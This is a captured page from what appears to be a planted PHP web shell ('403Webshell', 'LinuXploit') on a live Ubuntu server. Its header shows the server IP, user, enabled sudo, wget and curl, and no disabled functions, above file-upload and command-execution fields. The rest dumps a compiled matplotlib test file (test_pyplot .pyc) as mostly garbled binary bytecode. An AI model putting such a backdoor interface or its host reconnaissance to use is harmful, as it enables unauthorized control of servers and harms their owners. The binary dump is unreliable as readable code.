403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.52
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/matplotlib/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/matplotlib/tests/__pycache__/test_pyplot.cpython-312.pyc
�

G8�c�,����ddlZddlZddlZddlZddlZddlmZddlZddl	Z
ddl	mZddl
mZd�Zd�Zd�Zd�Zd	�Zd
�Zd�Zd�Zd
�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Z d�Z!d�Z"d�Z#d�Z$d�Z%d�Z&y)�N)�Path)�pyplot)�MatplotlibDeprecationWarningc
��ttj�jddz}|j	�stjd�ttj�j�}|jd�}|j|d�tjtjt|�t|�gd��|jd�}||k7radjt!j"|j%d�|j%d�d	d
dd�
��}tj&d|z�yy)N�ztools/boilerplate.pyzboilerplate.py not foundz	pyplot.pyzutf-8T)�check�
zfound pyplot.pyzexpected pyplot.pyr�)�fromfile�tofile�n�linetermz�pyplot.py is not up-to-date. Please run 'python tools/boilerplate.py' to update pyplot.py. This needs to be done from an environment where your current working copy is installed (e.g. 'pip install -e'd). Here is a diff of unexpected differences:
%s)r�mpl�__file__�parents�exists�pytest�skip�plt�	read_text�join�
write_text�
subprocess�run�sys�
executable�str�difflib�unified_diff�split�fail)�tmpdir�
gen_script�
orig_contents�plt_file�new_contents�diff_msgs      �>/usr/lib/python3/dist-packages/matplotlib/tests/test_pyplot.py�test_pyplot_up_to_dater)s���c�l�l�#�+�+�A�.�1G�G�J��������.�/�����&�0�0�2�M��{�{�;�'�H����
�w�/��N�N�C�N�N�C�
�O�S��]�C����%�%�g�.�L���$��9�9�� � ��#�#�D�)�<�+=�+=�d�+C�*�+��b�	
"�#��	���
<�?G�	
G�	
�%�c��tjjddd�tjjdd�dd���}t	j
|�dd��}|d�|d��|dd��|dd�	�|rJ�t
jt�5|d�
�ddd�t
jt�5|dd�ddd�y#1swY�5xYw#1swYyxYw)Nz	(version)�old�new�kwoc��y�N��r-r.s  r(�funcz1test_copy_docstring_and_deprecators.<locals>.func-s��	
r*c��yr0r1r2s  r(�wrapper_funcz9test_copy_docstring_and_deprecators.<locals>.wrapper_func2s��r*)r-)r.r2)r,r0)	r�_api�rename_parameter�make_keyword_onlyr�_copy_docstring_and_deprecatorsr�warnsr)�recwarnr3r5s   r(�#test_copy_docstring_and_deprecatorsr<,s����X�X���{�E�5�9��X�X����U�3�
�4�:�
�	�(�(��.�
�/�
�����T����4� ��T�t�$���;�	���2�	3������	���2�	3�!��T�4� �!�!����!�!�s�*
C(�
C4�(C1�4C=c�f�tj�\}}tjd�|j�rJ�tjd�|j�sJ�tj�|j�rJ�tj�|j�sJ�y)NFT)r�subplots�box�get_frame_on)�fig�axs  r(�test_pyplot_boxrCAsy���l�l�n�G�C���G�G�E�N���� � � ��G�G�D�M�
�?�?�����G�G�I���� � � ��G�G�I�
�?�?���r*c�8�tjgd�gd��y)N)�r�)r�	stackplotr1r*r(�test_stackplot_smokerHMs���M�M�)�Y�'r*c��tjt�5tjd��ddd�tjt�5tjd��ddd�y#1swY�BxYw#1swYyxYw)NrE)�nrows)�ncols)r�raises�	TypeErrorr�subplotr1r*r(�test_nrows_errorrORsa��	���y�	!�����!���	���y�	!�����!���������s�A2�A>�2A;�>Bc��tj�tj�sJ�tj�5tj�rJ�	ddd�tj�sJ�tj�tj�rJ�tj�5tj�rJ�	ddd�tj�rJ�y#1swY��xYw#1swY�,xYwr0)r�ionr�is_interactive�ioffr1r*r(�	test_ioffrTYs����G�G�I�������	����(��%�%�'�'�'�'�(��������H�H�J��!�!�#�#�#�	����(��%�%�'�'�'�'�(��!�!�#�#�#�#�(�(��(�(���C*�3C6�*C3�6C?c��tj�tj�rJ�tj�5tj�sJ�	ddd�tj�rJ�tj�tj�sJ�tj�5tj�sJ�	ddd�tj�sJ�y#1swY��xYw#1swY�,xYwr0)rrSrrRrQr1r*r(�test_ionrWgs����H�H�J��!�!�#�#�#�	����$��!�!�#�#�#�$��!�!�#�#�#��G�G�I�������	����$��!�!�#�#�#�$�������$�$��$�$�rUc�Z�tj�tj�5tj�rJ�tj�5tj�sJ�	ddd�tj�rJ�	ddd�tj�sJ�tj�5tj�5tj�rJ�	ddd�ddd�tj�sJ�tj�5tj�ddd�tj�sJ�tj�tj�5tj�sJ�tj�5tj�rJ�	ddd�tj�sJ�	ddd�tj�rJ�tj�5tj�5tj�sJ�	ddd�ddd�tj�rJ�tj�5tj�ddd�tj�rJ�y#1swY��DxYw#1swY��2xYw#1swY���xYw#1swY���xYw#1swY���xYw#1swY��/xYw#1swY��xYw#1swY��xYw#1swY��xYw#1swY��xYwr0)rrQrSrrRr1r*r(�test_nested_ion_ioffrYusm���G�G�I�

����(��%�%�'�'�'�
�W�W�Y�	(��%�%�'�'�'�	(��%�%�'�'�'�'�	(�
������

����,�
�X�X�Z�	,��)�)�+�+�+�+�	,�,�������	��������
���������H�H�J�

����$��!�!�#�#�#�
�X�X�Z�	,��)�)�+�+�+�+�	,��!�!�#�#�#�	$�
�!�!�#�#�#�

����(�
�W�W�Y�	(��%�%�'�'�'�	(�(��!�!�#�#�#�	��������	���!�!�#�#�#�#�E	(�	(��(�(��	,�	,��,�,��
���	,�	,��$�$��	(�	(��(�(��
��s��+J;�J.�,J;�=K�K�*K�$K"�?+K<�*K/�K<�L�(L	�L�:L!�.J8	�3J;�;K�K	�
K�K�"K,�/K9	�4K<�<L�	L	�L�L�!L*c�|�	tjd�y#t$r}t|�dk(sJ�Yd}~yd}~wwxYw)Ng�������?zQclose() argument must be a Figure, an int, a string, or None, not <class 'float'>)r�closerMr)�es r(�
test_closer]�sD��B��	�	�#����B��1�v�B�B�	B�B��B�s��	;�6�;c��tjd�}|tj�usJ�tjd�}|tj�usJ�tjd�}|tj�usJ�||usJ�y)N�y�z)rrN�gca��ax1�ax2�ax3s   r(�test_subplot_reuserf�st��

�+�+�c�
�C��#�'�'�)����

�+�+�c�
�C��#�'�'�)����

�+�+�c�
�C��#�'�'�)�����#�:��:r*c�N�tj�tj�}tj�}|�J�||usJ�tj�tj�tjd��}tjd��}|�J�||usJ�tj�tj�tjd��}tj�}|�J�|jdk(sJ�||usJ�tj�y)N�polar��
projection�rectilinear)r�figure�axesr[�name�rBrcs  r(�test_axes_kwargsrp�s����J�J�L�	����B�

�(�(�*�C�
�>��>��b�=��=��I�I�K��J�J�L�	���W�	%�B�

�(�(�g�
&�C�
�>��>��b�=��=��I�I�K��J�J�L�	���W�	%�B�

�(�(�*�C�
�>��>��8�8�}�$�$�$��b�=��=��I�I�Kr*c�t�tj�}tjddd�}tjddd�}tjddd�}tjt
�5tjdddd��}ddd�tjdddd��}|�J�||usJ�||usJ�|usJ�||usJ�||jvsJ�||jvsJ�||jvsJ�|jdk(sJ�|jdk(sJ�|jdk(sJ�y#1swY��xYw)NrErrhrirk)rrlrNrr:rrmrn)rArBrcrdre�ax4s      r(�test_subplot_replace_projectionrs�s1���*�*�,�C�	���Q��1�	�B�

�+�+�a��A�
�C�

�+�+�a��A�
�C�	���2�	3�7��k�k�!�Q��g�6��7�

�+�+�a��A�'�
2�C�
�>��>��"�9��9��b�=��=��b�=��=��#�:��:�
�S�X�X�����#�(�(�?��?��#�(�(�?��?�
�7�7�m�#�#�#��8�8�}�$�$�$��8�8�w����7�7�s�3D.�.D7c�
�tjdd��}tjdd��}||usJ�|j�tjdd��}||usJ�|tj�jvsJ�y)Nrhr)rj�theta_offsetrE)rrN�remove�gcfrmrbs   r(�test_subplot_kwarg_collisionrx�sk��

�+�+��q�
9�C�

�+�+��q�
9�C��#�:��:��J�J�L�

�+�+��q�
9�C��c�>��>��c�g�g�i�n�n�$�$�$r*c��tj�tj�}tj�}|�J�||usJ�tj�yr0)rrlrar[ros  r(�test_gcarz�s@���J�J�L�	����B�

�'�'�)�C�
�>��>��"�9��9��I�I�Kr*c�R�tjd�}|tj�usJ�|tjd�usJ�|j�tjdd��}|tj�usJ�|tj�j
vsJ�|tjd�usJ�|j�tjdd��}|tj�usJ�||usJ�|tj�j
vsJ�y)N�orhrirk)rrNrarvrwrmrbs   r(�test_subplot_projection_reuser}�s���

�+�+�c�
�C��#�'�'�)�����#�+�+�c�"�"�"�"��J�J�L�

�+�+�c�g�
.�C��#�'�'�)�����c�g�g�i�n�n�$�$�$��#�+�+�c�"�"�"�"��J�J�L��+�+�c�m�
4�C��#�'�'�)�����c�>��>��c�g�g�i�n�n�$�$�$r*c�8�tjdd��}tjdd��}tjddd��}||usJ�||usJ�tjtd��5tjddd	��}ddd�y#1swYyxYw)
Nr|rhriT)rh)rhrjzpolar=True, yet projection='3d')�match�3d)rrNrrL�
ValueErrorrbs   r(� test_subplot_polar_normalizationr�s���

�+�+�c�g�
.�C�

�+�+�c��
&�C�

�+�+�c��'�
:�C��#�:��:��#�:��:�	���z�>�
@�<��k�k�#�T�d�;��<�<�<�s�.B�Bc�l�t�}tj�}|j|�d}|D]b}|j	�tj|��}|tj�usJ�|j
|k(sJ�|j|��dt
|�dt
|�zk(sJ�y)N)�aitoff�hammer�lambert�	mollweiderhrkr�rirE)�setrrN�addrvrn�len)�created_axesrB�projections�projs    r(�test_subplot_change_projectionr�s����5�L�	����B����R��1�K����
�	�	��
�[�[�D�
)���S�[�[�]�"�"�"��w�w�$�����������|���C��$4� 4�4�4�4r*c�4�tjddd�\}t|tjj
�sJ�tjddd�\}t|tjj
�sJ�|j|jusJ�y)Ngg�?�rog��Q��?��?�bo)rrh�
isinstancer�lines�Line2Drm)�ln1�ln2s  r(�test_polar_second_callr�.st���9�9�R��T�"�D�C��c�3�9�9�+�+�,�,�,��9�9�T�2�t�$�D�C��c�3�9�9�+�+�,�,�,��8�8�s�x�x���r*c��tjgd��}tjgd���}tjj	|j
j
�|j
j
��tjgd��}tjgd�gd���}tjj	|j
j
�|j
j
��y)N)皙�����?r�r�r�)�position)皙�����?r�皙�����?r�)rrm�np�testing�assert_allclose�bbox�
get_points)�axref�axtests  r(�test_fallback_positionr�8s����H�H�)�*�E�
�X�X�3�
4�F��J�J���v�{�{�5�5�7�$�z�z�4�4�6�8�
�H�H�)�*�E�
�X�X�*�5I�
J�F��J�J���v�{�{�5�5�7�$�z�z�4�4�6�8r*c��tj�}|jd�}tj�tj�|k7sJ�tj|d�}tj�|k(sJ�||k(sJ�y)NrrE)rrl�
subfiguresrw)�fig1�subfigs�currents   r(�%test_set_current_figure_via_subfigurer�Fsj���:�:�<�D��o�o�a� �G��J�J�L��7�7�9������j�j����$�G��7�7�9������d�?��?r*c�4�tj�}|jd�}|djdd��}|djdd��tj�|k7sJ�tj
|�tj�|k(sJ�y)NrrrET)�squeeze)rrlr�r>ra�sca)rAr�rBs   r(�"test_set_current_axes_on_subfigurer�Rsz��

�*�*�,�C��n�n�Q��G�	���	�	�Q��	�	-�B��A�J����4��(��7�7�9��?��?��G�G�B�K��7�7�9��?��?r*c��tjd�}tjj	|j
dddj
d�d��y)N�IPythonz--pylabz-c�;)zimport matplotlib.pyplot as pltz<assert plt._REPL_DISPLAYHOOK == plt._ReplDisplayHook.IPYTHON�<)�timeout)r�importorskiprr��subprocess_run_helper�
start_ipythonr)r�s r(�test_pylab_integrationr�^sN���!�!�)�,�G��K�K�%�%���������
�	��&�	r*c��tt�jdz}|j�st	j
d�|j
�}tjd|tj�}td�|jd�jd�D��}ttj��}|j|�}|rt!d|����|j|�}|rt!d|����y	)
z6Test that pyplot_summary lists all the plot functions.z#../../../doc/api/pyplot_summary.rstz#Documentation sources not availablez:nosignatures:\n\n(.*?)\n\nc3�<K�|]}|j����y�wr0)�strip)�.0�lines  r(�	<genexpr>z*test_doc_pyplot_summary.<locals>.<genexpr>ts����H���
�
��H�s�rEr	zsThe following pyplot functions are not listed in the documentation. Please add them to doc/api/pyplot_summary.rst: z�The following functions are listed in the pyplot documentation, but they do not exist in pyplot. Please remove them from doc/api/pyplot_summary.rst: N)rr�parentrrrr�re�search�DOTALLr��groupr r�get_plot_commands�
difference�AssertionError)�pyplot_docsr��m�
doc_functions�
plot_commands�missing�extras       r(�test_doc_pyplot_summaryr�ls����x�.�'�'�*O�O�K��������9�:��!�!�#�E�
�	�	�0�%����C�A��H������1A�1A�$�1G�H�H�M���-�-�/�0�M��&�&�}�5�G���M��k�
��	�
�$�$�]�3�E���C�CH�)�
M�N�	N�
r*c��tj�tjtjdd��tj
d��\}}tj|tjgtj��k(�sJ�|gk(sJ�tjddgdd	gd�
�tj�}|jd��}|jd��}tj|tjddg�k(�sJ�|D�cgc]}|j���c}dd	gk(sJ�ycc}w)NrE�
T)�minor)�dtypeg@g@�a�b)�ticks�labelsr�)rrl�plotr��arange�xticks�all�array�float64�yticksra�
get_yticks�get_yticklabels�get_text)�tick_pos�tick_labelsrB�ls    r(�test_minor_ticksr��s����J�J�L��H�H�R�Y�Y�q�"�
���J�J�T�2��H�k�
�6�6�+����"�B�J�J�!?�?�@�@�@��"�����J�J�c�3�Z��c�
�$�?�	����B��}�}�4�}�(�H��$�$�4�$�0�K�
�6�6�(�b�h�h��S�z�2�2�3�3�3�"-�.�Q�A�J�J�L�.�3��*�<�<�<��.s�"E)'rr��numpyr�rr�pathlibrr�
matplotlibrrr�matplotlib._apirr)r<rCrHrOrTrWrYr]rfrprsrxrzr}r�r�r�r�r�r�r�r�r�r1r*r(�<module>r�s����	���
��
��$�8�
�8!�*	�(�
�$� �)$�XB���2�2%��%�2	<�
5�  �8�	�	��N�0=r*

Youez - 2016 - github.com/yon3zu
LinuXploit